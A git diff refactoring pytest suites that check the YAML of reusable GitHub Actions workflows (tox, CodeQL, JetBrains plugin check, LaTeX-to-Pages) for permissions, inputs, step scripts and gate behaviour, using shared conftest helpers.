"check.yaml") +INPUTS: Final[JsonObject] = mapping(at(WORKFLOW, "on", "workflow_call", "inputs")) @pytest.mark.parametrize( @@ -34,61 +24,66 @@ def _step(name: str) -> dict[str, Any]: ], ) def test_input_defaults(name: str, default: str) -> None: - assert INPUTS[name]["default"] == default + assert at(INPUTS, name, "default") == default def test_include_input_is_required_json_rows() -> None: - assert INPUTS["include"]["required"] == "true" - assert TEST["strategy"]["matrix"] == {"include": "${{ fromJSON(inputs.include) }}"} - assert TEST["runs-on"] == "${{ matrix.os || inputs.os }}" + assert at(INPUTS, "include", "required") == "true" + assert at(WORKFLOW, "jobs", "test", "strategy", "matrix") == {"include": "${{ fromJSON(inputs.include) }}"} + assert at(WORKFLOW, "jobs", "test", "runs-on") == "${{ matrix.os || inputs.os }}" def test_workflow_grants_no_token_scope_beyond_contents_read() -> None: - assert WORKFLOW["permissions"] == {} - assert TEST["permissions"] == {"contents": "read"} + assert at(WORKFLOW, "permissions") == {} + assert at(WORKFLOW, "jobs", "test", "permissions") == {"contents": "read"} def test_checkout_keeps_full_history_without_credentials() -> None: - assert _step("๐Ÿ“ฅ Check out repository")["with"] == {"fetch-depth": "0", "persist-credentials": "false"} + assert step(WORKFLOW, "test", "๐Ÿ“ฅ Check out repository")["with"] == { + "fetch-depth": "0", + "persist-credentials": "false", + } def test_every_run_block_uses_bash_on_windows_rows() -> None: - assert all(step.get("shell") == "bash" for step in TEST["steps"] if "run" in step) + assert all(item.get("shell") == "bash" for item in steps(WORKFLOW, "test") if "run" in item) def test_tox_environment_is_built_without_running_tests() -> None: - assert _step("๐Ÿ“ฆ Set up test suite")["run"] == 'tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV"' + assert step(WORKFLOW, "test", "๐Ÿ“ฆ Set up test suite")["run"] == ( + 'tox run -vv --notest --skip-missing-interpreters false -e "$MATRIX_ENV"' + ) def test_test_run_reuses_built_environment_with_inputs() -> None: - run = _step("๐Ÿงช Run test suite") - assert run["run"] == 'tox run --skip-pkg-install -e "$MATRIX_ENV"' - assert run["env"]["PYTEST_ADDOPTS"] == "${{ inputs.pytest-addopts }}" - assert run["env"]["DIFF_AGAINST"] == "${{ inputs.diff-against }}" + suite = step(WORKFLOW, "test", "๐Ÿงช Run test suite") + assert suite["run"] == 'tox run --skip-pkg-install -e "$MATRIX_ENV"' + assert at(suite, "env", "PYTEST_ADDOPTS") == "${{ inputs.pytest-addopts }}" + assert at(suite, "env", "DIFF_AGAINST") == "${{ inputs.diff-against }}" def test_python_is_installed_only_for_rows_that_name_one() -> None: - step = _step("๐Ÿ Install Python") - assert step["if"] == "${{ matrix.python }}" - assert step["env"] == {"PYTHON": "${{ matrix.python }}"} + install = step(WORKFLOW, "test", "๐Ÿ Install Python") + assert install["if"] == "${{ matrix.python }}" + assert install["env"] == {"PYTHON": "${{ matrix.python }}"} def test_apt_packages_install_on_linux_only() -> None: - step = _step("๐Ÿ“ฆ Install apt packages") - assert step["if"] == "${{ inputs.apt-packages != '' && runner.os == 'Linux' }}" - assert step["env"] == {"APT_PACKAGES": "${{ inputs.apt-packages }}"} + install = step(WORKFLOW, "test", "๐Ÿ“ฆ Install apt packages") + assert install["if"] == "${{ inputs.apt-packages != '' && runner.os == 'Linux' }}" + assert install["env"] == {"APT_PACKAGES": "${{ inputs.apt-packages }}"} def test_coverage_upload_is_opt_in_and_named_per_job() -> None: - step = _step("๐Ÿ“ค Upload coverage data") - assert step["if"] == "${{ inputs.coverage }}" - assert step["with"]["name"] == ".coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }}" - assert step["with"]["path"] == ".tox/.coverage.*" - assert step["with"]["if-no-files-found"] == "error" + upload = step(WORKFLOW, "test", "๐Ÿ“ค Upload coverage data") + assert upload["if"] == "${{ inputs.coverage }}" + assert at(upload, "with", "name") == ".coverage.${{ matrix.os || inputs.os }}.${{ matrix.env }}" + assert at(upload, "with", "path") == ".tox/.coverage.*" + assert at(upload, "with", "if-no-files-found") == "error" def test_gate_requires_test_through_required_checks() -> None: - assert GATE == { + assert at(WORKFLOW, "jobs", "gate") == { "name": "๐Ÿšฆ Required checks pass", "if": "${{ !cancelled() }}", "needs": ["test"], @@ -149,7 +144,7 @@ def test_tox_install_passes_cutoffs_to_uv( (stub / "uv").chmod(0o755) arguments = tmp_path / "arguments" result = subprocess.run( - ["bash", "-c", _step("๐Ÿ“ฆ Install tox")["run"]], + ["bash", "-c", text(step(WORKFLOW, "test", "๐Ÿ“ฆ Install tox")["run"])], env={ "PATH": f"{stub}{os.pathsep}{os.environ['PATH']}", "UV_ARGUMENTS": str(arguments), diff --git a/tests/codeql_workflow/test_codeql.py b/tests/codeql_workflow/test_codeql.py index 3dbee64..67f9a5b 100644 --- a/tests/codeql_workflow/test_codeql.py +++ b/tests/codeql_workflow/test_codeql.py @@ -1,23 +1,15 @@ -from __future__ import annotations - import json from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml - -ROOT: Final = Path(__file__).resolve().parents[2] -# BaseLoader keeps the `on` key a string and every scalar a string, as written in the file. -REUSABLE: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/codeql.yaml").read_text(), Loader=yaml.BaseLoader) -CALLER: Final[dict[str, Any]] = yaml.load((ROOT / ".github/workflows/codeql-self.yaml").read_text(), Loader=yaml.BaseLoader) -INPUTS: Final[dict[str, Any]] = REUSABLE["on"]["workflow_call"]["inputs"] -ANALYZE: Final[dict[str, Any]] = REUSABLE["jobs"]["analyze"] -CODEQL_SHA: Final = "9b3254085494b55a0f7c4c2b3d2d52cc712ce370" +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step - -def _step(name: str) -> dict[str, Any]: - return next(step for step in ANALYZE["steps"] if step["name"] == name) +REUSABLE: Final[JsonObject] = load_yaml(WORKFLOWS / "codeql.yaml") +CALLER: Final[JsonObject] = load_yaml(WORKFLOWS / "codeql-self.yaml") +INPUTS: Final[JsonObject] = mapping(at(REUSABLE, "on", "workflow_call", "inputs")) +ANALYZE: Final[JsonObject] = mapping(at(REUSABLE, "jobs", "analyze")) +CODEQL_SHA: Final = "9b3254085494b55a0f7c4c2b3d2d52cc712ce370" @pytest.mark.parametrize( @@ -31,7 +23,7 @@ def _step(name: str) -> dict[str, Any]: ], ) def test_input_defaults(name: str, default: str) -> None: - assert INPUTS[name]["default"] == default + assert at(INPUTS, name, "default") == default def test_each_language_gets_its_own_job() -> None: @@ -41,21 +33,22 @@ def test_each_language_gets_its_own_job() -> None: def test_analysis_needs_security_events_write_from_caller() -> None: assert ANALYZE["permissions"] == {"contents": "read", "security-events": "write"} - assert REUSABLE["permissions"] == {} + assert at(REUSABLE, "permissions") == {} def test_init_receives_each_input() -> None: - init = _step("๐Ÿ›ก๏ธ Initialize CodeQL") + init = step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Initialize CodeQL") assert init["uses"] == f"github/codeql-action/init@{CODEQL_SHA}" - assert init["with"]["languages"] == "${{ matrix.language }}" - assert init["with"]["build-mode"] == "${{ inputs.build-mode }}" - assert init["with"]["queries"] == "${{ inputs.queries }}" - assert init["with"]["config-file"] == "${{ inputs.config-file }}" + assert at(init, "with", "languages") == "${{ matrix.language }}" + assert at(init, "with", "build-mode") == "${{ inputs.build-mode }}" + assert at(init, "with", "queries") == "${{ inputs.queries }}" + assert at(init, "with", "config-file") == "${{ inputs.config-file }}" def test_paths_ignore_becomes_config_only_without_config_file() -> None: - config = _step("๐Ÿ›ก๏ธ Initialize CodeQL")["with"]["config"] - assert config == "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" + assert at(step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Initialize CodeQL"), "with", "config") == ( + "${{ inputs.config-file == '' && format('paths-ignore: {0}', inputs.paths-ignore) || '' }}" + ) @pytest.mark.parametrize( @@ -66,24 +59,26 @@ def test_paths_ignore_becomes_config_only_without_config_file() -> None: pytest.param('["tests","docs/conf.py"]', ["tests", "docs/conf.py"], id="several"), ], ) -def test_paths_ignore_input_is_valid_codeql_yaml(paths_ignore: str, expected: list[str]) -> None: +def test_paths_ignore_input_is_valid_codeql_yaml(tmp_path: Path, paths_ignore: str, expected: list[str]) -> None: assert json.loads(paths_ignore) == expected - assert yaml.safe_load(f"paths-ignore: {paths_ignore}") == {"paths-ignore": expected} + config = tmp_path / "codeql.yaml" + config.write_text(f"paths-ignore: {paths_ignore}\n") + assert load_yaml(config) == {"paths-ignore": expected} def test_analyze_uses_the_same_pinned_release() -> None: - assert _step("๐Ÿ›ก๏ธ Analyze")["uses"] == f"github/codeql-action/analyze@{CODEQL_SHA}" - assert _step("๐Ÿ›ก๏ธ Analyze")["with"] == {"category": "/language:${{ matrix.language }}"} + analyze = step(REUSABLE, "analyze", "๐Ÿ›ก๏ธ Analyze") + assert analyze["uses"] == f"github/codeql-action/analyze@{CODEQL_SHA}" + assert analyze["with"] == {"category": "/language:${{ matrix.language }}"} def test_gw_caller_keeps_its_triggers() -> None: - assert list(CALLER["on"]) == ["push", "pull_request", "schedule", "workflow_dispatch"] - assert CALLER["on"]["schedule"] == [{"cron": "0 9 * * 2"}] + assert list(mapping(CALLER["on"])) == ["push", "pull_request", "schedule", "workflow_dispatch"] + assert at(CALLER, "on", "schedule") == [{"cron": "0 9 * * 2"}] def test_gw_caller_passes_its_scope_to_the_reusable_workflow() -> None: - job = CALLER["jobs"]["analyze"] - assert job == { + assert at(CALLER, "jobs", "analyze") == { "name": "๐Ÿ›ก๏ธ Analyze", "uses": "$/.github/workflows/codeql.yaml", "permissions": {"contents": "read", "security-events": "write"}, diff --git a/tests/conftest.py b/tests/conftest.py index 9d2ef55..33b42a6 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,5 +1,3 @@ -from __future__ import annotations - import json import os import re @@ -11,7 +9,7 @@ from collections.abc import Iterator, Mapping from pathlib import Path from textwrap import dedent -from typing import Final, TypedDict, TypeIs, cast +from typing import Final, TypeIs import certifi import coverage @@ -365,18 +363,6 @@ def _run_action( type JsonObject = dict[str, JsonValue] -def is_json(value: object) -> TypeIs[JsonValue]: - if isinstance(value, list): - return all(is_json(item) for item in value) - if isinstance(value, dict): - return is_json_object(value) - return value is None or isinstance(value, str | int | float | bool) - - -def is_json_object(value: object) -> TypeIs[JsonObject]: - return isinstance(value, dict) and all(isinstance(key, str) and is_json(item) for key, item in value.items()) - - def load_yaml(path: Path) -> JsonObject: document = yaml.load(path.read_text(), Loader=yaml.BaseLoader) if not is_json_object(document): @@ -406,36 +392,79 @@ def at(document: JsonObject, *keys: str) -> JsonValue: return value -def steps(document: JsonObject, job: str) -> list[JsonObject]: - value = at(document, "jobs", job, "steps") +def step_list(value: JsonValue) -> list[JsonObject]: if not isinstance(value, list): - msg = f"{job} has no step list" + msg = f"expected a step list, got {value!r}" raise TypeError(msg) return [mapping(item) for item in value] +def steps(document: JsonObject, job: str) -> list[JsonObject]: + return step_list(at(document, "jobs", job, "steps")) + + def step(document: JsonObject, job: str, name: str) -> JsonObject: return next(item for item in steps(document, job) if item.get("name") == name) -def workflow_step( +def workflow_env(workflow: str) -> dict[str, str]: + return {key: text(value) for key, value in mapping(load_yaml(WORKFLOWS / workflow).get("env", {})).items()} + + +def workflow_step(workflow: str, job: str, name: str) -> JsonObject: + return step(load_yaml(WORKFLOWS / workflow), job, name) + + +def run_workflow_step( workflow: str, job: str, name: str, + *, cwd: Path, - environment: Mapping[str, str], -) -> subprocess.CompletedProcess[str]: - script = text( - step(load_yaml(Path(__file__).resolve().parents[1] / ".github/workflows" / workflow), job, name)["run"] - ) - return subprocess.run( - ["bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script], + runner_temp: Path, + values: Mapping[str, str], + env: Mapping[str, str], +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + definition = workflow_step(workflow, job, name) + script = runner_temp / "step.sh" + script.write_text(text(definition["run"])) + output = runner_temp / "output" + output.unlink(missing_ok=True) + expand = {"runner.temp": str(runner_temp), "github.repository": "tox-dev/fixture", **values} + declared = workflow_env(workflow) | {key: text(value) for key, value in mapping(definition.get("env", {})).items()} + # An env override replaces the value, so its ${{ }} expression need not resolve. + expanded = { + variable: re.sub(r"\$\{\{\s*(.+?)\s*\}\}", lambda match: expand[match.group(1)], value) + for variable, value in declared.items() + if variable not in env + } + environment = {variable: os.environ[variable] for variable in ("HOME", "LANG", "PATH") if variable in os.environ} + environment |= { + "RUNNER_TEMP": str(runner_temp), + "GITHUB_OUTPUT": str(output), + "GITHUB_REPOSITORY": "tox-dev/fixture", + } + result = subprocess.run( + ["bash", "--noprofile", "--norc", "-eo", "pipefail", str(script)], cwd=cwd, - env=_safe_environment() | dict(environment), + env={**environment, **expanded, **env}, text=True, capture_output=True, check=False, ) + return result, read_outputs(output) + + +def is_json(value: object) -> TypeIs[JsonValue]: + if isinstance(value, list): + return all(is_json(item) for item in value) + if isinstance(value, dict): + return is_json_object(value) + return value is None or isinstance(value, str | int | float | bool) + + +def is_json_object(value: object) -> TypeIs[JsonObject]: + return isinstance(value, dict) and all(isinstance(key, str) and is_json(item) for key, item in value.items()) def run(directory: Path, *command: str) -> subprocess.CompletedProcess[str]: @@ -565,69 +594,6 @@ def _expression( raise ValueError(f"unsupported GitHub step environment: {expression}") # pragma: no cover - new syntax only -Step = TypedDict( - "Step", - { - "id": str, - "name": str, - "if": str, - "run": str, - "env": dict[str, str], - "uses": str, - "with": dict[str, object], - "continue-on-error": bool, - }, - total=False, -) - - -def workflow_step(workflow: str, job: str, name: str) -> Step: - steps = cast("list[Step]", yaml.safe_load((WORKFLOWS / workflow).read_text())["jobs"][job]["steps"]) - return next(step for step in steps if step.get("name") == name) - - -def workflow_env(workflow: str) -> dict[str, str]: - return cast("dict[str, str]", yaml.safe_load((WORKFLOWS / workflow).read_text()).get("env", {})) - - -def run_workflow_step( - workflow: str, - job: str, - name: str, - *, - cwd: Path, - runner_temp: Path, - values: Mapping[str, str], - env: Mapping[str, str] | None = None, -) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: - """Run one named step's ``run:`` block the way Actions does, expanding ``${{ ... }}`` from ``values``.""" - step = workflow_step(workflow, job, name) - script = runner_temp / "step.sh" - script.write_text(step["run"]) - output = runner_temp / "output" - output.unlink(missing_ok=True) - expand = {"runner.temp": str(runner_temp), "github.repository": "tox-dev/fixture", **values} - step_env = { - variable: re.sub(r"\$\{\{\s*(.+?)\s*\}\}", lambda match: expand[match.group(1)], str(value)) - for variable, value in (workflow_env(workflow) | step.get("env", {})).items() - } - environment = {name: os.environ[name] for name in ("HOME", "LANG", "PATH") if name in os.environ} - environment |= { - "RUNNER_TEMP": str(runner_temp), - "GITHUB_OUTPUT": str(output), - "GITHUB_REPOSITORY": "tox-dev/fixture", - } - result = subprocess.run( - ["bash", "--noprofile", "--norc", "-eo", "pipefail", str(script)], - cwd=cwd, - env={**environment, **step_env, **(env or {})}, - text=True, - capture_output=True, - check=False, - ) - return result, read_outputs(output) - - def read_outputs(path: Path) -> dict[str, str]: if not path.exists(): return {} @@ -650,14 +616,16 @@ def read_outputs(path: Path) -> dict[str, str]: __all__ = [ "CALLER", "WORKFLOWS", + "JsonObject", + "JsonValue", "action", "at", "load_yaml", "mapping", - "read_outputs", "run", "run_workflow_step", "step", + "step_list", "steps", "text", "workflow_env", diff --git a/tests/jetbrains_plugin_check/test_check.py b/tests/jetbrains_plugin_check/test_check.py deleted file mode 100644 index f56fc95..0000000 --- a/tests/jetbrains_plugin_check/test_check.py +++ /dev/null @@ -1,151 +0,0 @@ -from __future__ import annotations - -import hashlib -import json -import subprocess -from pathlib import Path -from typing import Final - -import pytest -from conftest import JsonObject, at, load_yaml, mapping, step, steps, text, workflow_step - -WORKFLOW: Final[str] = "jetbrains-plugin-check.yaml" -ROOT: Final = Path(__file__).resolve().parents[2] -GATE_NEEDS: Final[list[str]] = ["build", "verify", "ui-test"] - - -def _workflow() -> JsonObject: - return load_yaml(ROOT / ".github/workflows" / WORKFLOW) - - -def _step(job: str, name: str) -> JsonObject: - return step(_workflow(), job, name) - - -def _record_digest(directory: Path, output: Path) -> subprocess.CompletedProcess[str]: - return workflow_step( - WORKFLOW, - "build", - "โš™๏ธ Record unsigned ZIP digest", - directory, - {"GITHUB_OUTPUT": str(output)}, - ) - - -@pytest.mark.parametrize( - ("archives", "accepted"), - [ - pytest.param([], False, id="no-archive"), - pytest.param(["Plugin-1.2.3.zip"], True, id="one-archive"), - pytest.param(["Plugin-1.2.3.zip", "Other-1.2.3.zip"], False, id="ambiguous"), - ], -) -def test_build_records_digest_of_exactly_one_zip(tmp_path: Path, archives: list[str], accepted: bool) -> None: - (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") - distributions = tmp_path / "build/distributions" - distributions.mkdir(parents=True) - for name in archives: - (distributions / name).write_bytes(b"zip bytes") - output = tmp_path / "output" - result = _record_digest(tmp_path, output) - assert (result.returncode == 0) is accepted, result.stderr - if accepted: - fields = dict(line.split("=", 1) for line in output.read_text().splitlines()) - assert fields == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"zip bytes").hexdigest()} - - -def test_build_ignores_archives_of_other_versions(tmp_path: Path) -> None: - (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") - distributions = tmp_path / "build/distributions" - distributions.mkdir(parents=True) - (distributions / "Plugin-1.2.2.zip").write_bytes(b"old") - (distributions / "Plugin-1.2.3.zip").write_bytes(b"new") - output = tmp_path / "output" - result = _record_digest(tmp_path, output) - assert result.returncode == 0, result.stderr - assert "name=Plugin-1.2.3.zip" in output.read_text() - - -def test_plugin_version_input_overrides_committed_version(tmp_path: Path) -> None: - (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\nother=keep\n") - result = workflow_step(WORKFLOW, "build", "๐Ÿท๏ธ Set plugin version", tmp_path, {"PLUGIN_VERSION": "v1.2.3"}) - assert result.returncode == 0, result.stderr - assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\nother=keep\n" - - -def test_plugin_version_rejects_sed_metacharacters(tmp_path: Path) -> None: - (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") - result = workflow_step(WORKFLOW, "build", "๐Ÿท๏ธ Set plugin version", tmp_path, {"PLUGIN_VERSION": "1&2"}) - assert result.returncode != 0 - - -def test_verify_matrix_default_checks_python_only() -> None: - default = text(at(_workflow(), "on", "workflow_call", "inputs", "verify-matrix", "default")) - assert json.loads(default) == [{"label": "PY", "ide": "PY", "version": ""}] - - -def test_ui_timeout_input_bounds_ide_start() -> None: - assert at(_workflow(), "on", "workflow_call", "inputs", "ui-test-timeout", "default") == "300" - assert _step("ui-test", "๐Ÿงช Run UI tests")["env"] == {"UI_TEST_TIMEOUT": "${{ inputs.ui-test-timeout }}"} - - -def test_ui_test_failure_uploads_reports() -> None: - upload = _step("ui-test", "๐Ÿ“ค Upload UI test artifacts") - assert upload["if"] == "${{ failure() }}" - assert "build/idea-sandbox/**/log/idea.log" in text(mapping(upload["with"])["path"]) - - -def test_jobs_hold_read_permission_only() -> None: - workflow = _workflow() - assert workflow["permissions"] == {} - for name in ("build", "verify", "ui-test"): - assert mapping(at(workflow, "jobs", name))["permissions"] == {"contents": "read"} - assert mapping(at(workflow, "jobs", "gate"))["permissions"] == {} - - -def test_outputs_come_from_build_job() -> None: - outputs = at(_workflow(), "on", "workflow_call", "outputs") - assert mapping(mapping(outputs)["archive-sha256"])["value"] == "${{ jobs.build.outputs.archive-sha256 }}" - assert mapping(mapping(outputs)["artifact-id"])["value"] == "${{ jobs.build.outputs.artifact-id }}" - - -def test_verify_step_passes_matrix_entries_through_env() -> None: - assert _step("verify", "๐Ÿ” Run verification")["env"] == { - "IDE": "${{ matrix.ide }}", - "VERSION": "${{ matrix.version }}", - } - - -def test_gate_needs_build_verify_and_ui_test() -> None: - assert at(_workflow(), "jobs", "gate", "needs") == GATE_NEEDS - - -@pytest.mark.parametrize( - ("failed_result", "accepted"), - [ - pytest.param(None, True, id="all-succeeded"), - pytest.param("skipped", False, id="skipped-job"), - pytest.param("failure", False, id="failed-job"), - ], -) -def test_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: bool, tmp_path: Path) -> None: - needs = {name: {"result": "success"} for name in GATE_NEEDS} - if failed_result is not None: - needs[GATE_NEEDS[-1]] = {"result": failed_result} - result = workflow_step( - WORKFLOW, - "gate", - "๐Ÿšฆ Require all needed jobs to pass", - tmp_path, - {"NEEDS_JSON": json.dumps(needs)}, - ) - assert (result.returncode == 0) is accepted, result.stderr - - -def test_run_blocks_take_no_expressions_and_mask_no_failures() -> None: - workflow = _workflow() - for job in mapping(at(workflow, "jobs")): - for item in steps(workflow, job): - script = text(item.get("run", "")) - assert "${{" not in script, item.get("name") - assert "|| true" not in script, item.get("name") diff --git a/tests/jetbrains_plugin_check/test_plugin.py b/tests/jetbrains_plugin_check/test_plugin.py new file mode 100644 index 0000000..ec772ae --- /dev/null +++ b/tests/jetbrains_plugin_check/test_plugin.py @@ -0,0 +1,218 @@ +import hashlib +import json +from pathlib import Path +from typing import Final + +import pytest +from conftest import ( + WORKFLOWS, + JsonObject, + action, + at, + load_yaml, + mapping, + run_workflow_step, + steps, + text, + workflow_step, +) + +_WORKFLOW: Final[str] = "jetbrains-plugin-check.yaml" +_GATE_NEEDS: Final[list[str]] = ["build", "verify", "ui-test"] + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +@pytest.fixture +def distributions(tmp_path: Path) -> Path: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") + directory = tmp_path / "build/distributions" + directory.mkdir(parents=True) + return directory + + +def test_build_records_name_and_digest_of_the_one_zip(tmp_path: Path, distributions: Path) -> None: + (distributions / "Plugin-1.2.3.zip").write_bytes(b"zip bytes") + result, outputs = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"zip bytes").hexdigest()} + + +@pytest.mark.parametrize( + ("archives", "found"), + [ + pytest.param([], 0, id="no-archive"), + pytest.param(["Plugin-1.2.3.zip", "Other-1.2.3.zip"], 2, id="ambiguous"), + ], +) +def test_build_rejects_missing_or_ambiguous_zip( + tmp_path: Path, distributions: Path, archives: list[str], found: int +) -> None: + for name in archives: + (distributions / name).write_bytes(b"zip bytes") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode != 0 + assert f"expected one plugin ZIP for version 1.2.3, found {found}" in result.stderr + + +def test_build_ignores_archives_of_other_versions(tmp_path: Path, distributions: Path) -> None: + (distributions / "Plugin-1.2.2.zip").write_bytes(b"old") + (distributions / "Plugin-1.2.3.zip").write_bytes(b"new") + result, outputs = run_workflow_step( + _WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert outputs == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"new").hexdigest()} + + +def test_plugin_version_input_overrides_committed_version(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\nother=keep\n") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "v1.2.3"}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\nother=keep\n" + + +def test_plugin_version_rejects_sed_metacharacters(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + _WORKFLOW, + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "1&2"}, + ) + assert result.returncode != 0 + + +def test_verify_matrix_default_checks_python_only(workflow: JsonObject) -> None: + assert json.loads(text(at(workflow, "on", "workflow_call", "inputs", "verify-matrix", "default"))) == [ + {"label": "PY", "ide": "PY", "version": ""} + ] + + +def test_ui_timeout_default_is_300_seconds(workflow: JsonObject) -> None: + assert at(workflow, "on", "workflow_call", "inputs", "ui-test-timeout", "default") == "300" + + +def test_ui_timeout_input_reaches_the_ui_test_step() -> None: + assert workflow_step(_WORKFLOW, "ui-test", "๐Ÿงช Run UI tests")["env"] == { + "UI_TEST_TIMEOUT": "${{ inputs.ui-test-timeout }}" + } + + +def test_ui_test_failure_uploads_reports() -> None: + upload = workflow_step(_WORKFLOW, "ui-test", "๐Ÿ“ค Upload UI test artifacts") + assert upload["if"] == "${{ failure() }}" + assert "build/idea-sandbox/**/log/idea.log" in text(mapping(upload["with"])["path"]) + + +@pytest.mark.parametrize( + ("job", "permissions"), + [ + pytest.param("build", {"contents": "read"}, id="build"), + pytest.param("verify", {"contents": "read"}, id="verify"), + pytest.param("ui-test", {"contents": "read"}, id="ui-test"), + pytest.param("gate", {}, id="gate"), + ], +) +def test_job_holds_only_the_permissions_it_needs(workflow: JsonObject, job: str, permissions: JsonObject) -> None: + assert at(workflow, "jobs", job, "permissions") == permissions + + +def test_workflow_grants_no_top_level_permissions(workflow: JsonObject) -> None: + assert workflow["permissions"] == {} + + +@pytest.mark.parametrize("output", ["archive-sha256", "archive-name", "artifact-id"]) +def test_workflow_output_comes_from_build_job(workflow: JsonObject, output: str) -> None: + assert at(workflow, "on", "workflow_call", "outputs", output, "value") == f"${{{{ jobs.build.outputs.{output} }}}}" + + +def test_verify_step_passes_matrix_entries_through_env() -> None: + assert workflow_step(_WORKFLOW, "verify", "๐Ÿ” Run verification")["env"] == { + "IDE": "${{ matrix.ide }}", + "VERSION": "${{ matrix.version }}", + } + + +def test_gate_needs_build_verify_and_ui_test(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "gate", "needs") == _GATE_NEEDS + + +def test_gate_delegates_to_required_checks() -> None: + assert workflow_step(_WORKFLOW, "gate", "๐Ÿšฆ Require all needed jobs to pass") == { + "name": "๐Ÿšฆ Require all needed jobs to pass", + "uses": "$/required-checks", + "with": {"needs": "${{ toJSON(needs) }}"}, + } + + +@pytest.mark.parametrize( + ("results", "accepted"), + [ + pytest.param(("success", "success", "success"), True, id="all-succeeded"), + pytest.param(("success", "success", "skipped"), False, id="skipped-job"), + pytest.param(("failure", "success", "success"), False, id="failed-job"), + ], +) +def test_gate_requires_every_job_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: tuple[str, str, str], + accepted: bool, +) -> None: + needs = {name: {"result": result} for name, result in zip(_GATE_NEEDS, results, strict=True)} + result = action(tmp_path, tmp_path, action_scripts, "required-checks", version="", NEEDS=json.dumps(needs)) + assert (result.returncode == 0) is accepted, result.stderr + + +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("${{", id="expressions"), + pytest.param("|| true", id="masked-failures"), + ], +) +def test_run_blocks_avoid_forbidden_constructs(workflow: JsonObject, forbidden: str) -> None: + offenders = [ + item.get("name") + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if forbidden in text(item.get("run", "")) + ] + assert offenders == [] diff --git a/tests/latex_to_pages/test_latex.py b/tests/latex_to_pages/test_latex.py index b765a47..1b700ae 100644 --- a/tests/latex_to_pages/test_latex.py +++ b/tests/latex_to_pages/test_latex.py @@ -1,5 +1,3 @@ -from __future__ import annotations - import hashlib import os import subprocess @@ -7,98 +5,113 @@ from typing import Final import pytest -from conftest import JsonObject, at, load_yaml, mapping, step, steps, text, workflow_step - -WORKFLOW: Final[str] = "latex-to-pages.yaml" -ROOT: Final = Path(__file__).resolve().parents[2] -GH_STUB: Final[str] = """\ -#!/usr/bin/env bash -case "$*" in -*pages/builds*) echo "abc built" ;; -*) echo abc ;; -esac -""" -CURL_STUB: Final[str] = '#!/usr/bin/env bash\ncat "$SERVED_FILE"\n' -NOOP_STUB: Final[str] = "#!/usr/bin/env bash\nexit 0\n" - +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, run_workflow_step, step, steps, text -def _workflow() -> JsonObject: - return load_yaml(ROOT / ".github/workflows" / WORKFLOW) +_WORKFLOW: Final[str] = "latex-to-pages.yaml" -def _step(job: str, name: str) -> JsonObject: - return step(_workflow(), job, name) +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) @pytest.fixture def stubs(tmp_path: Path) -> Path: bin_dir = tmp_path / "bin" bin_dir.mkdir() - for name, body in (("gh", GH_STUB), ("curl", CURL_STUB), ("sleep", NOOP_STUB)): + for name, body in ( + ( + "gh", + """\ +#!/usr/bin/env bash +case "$*" in +*pages/builds*) echo "abc built" ;; +*) echo abc ;; +esac +""", + ), + ("curl", '#!/usr/bin/env bash\ncat "$SERVED_FILE"\n'), + ("sleep", "#!/usr/bin/env bash\nexit 0\n"), + ): script = bin_dir / name script.write_text(body) script.chmod(0o755) return bin_dir -def test_top_level_grants_nothing_and_each_job_holds_only_its_scope() -> None: - workflow = _workflow() +def test_workflow_grants_no_top_level_permissions(workflow: JsonObject) -> None: assert workflow["permissions"] == {} - assert at(workflow, "jobs", "build", "permissions") == {"contents": "read"} - assert at(workflow, "jobs", "deploy", "permissions") == {"contents": "write", "pages": "read"} -def test_build_pins_clock_and_bounds_runtime() -> None: - assert at(_workflow(), "jobs", "build", "timeout-minutes") == "20" - compile_step = 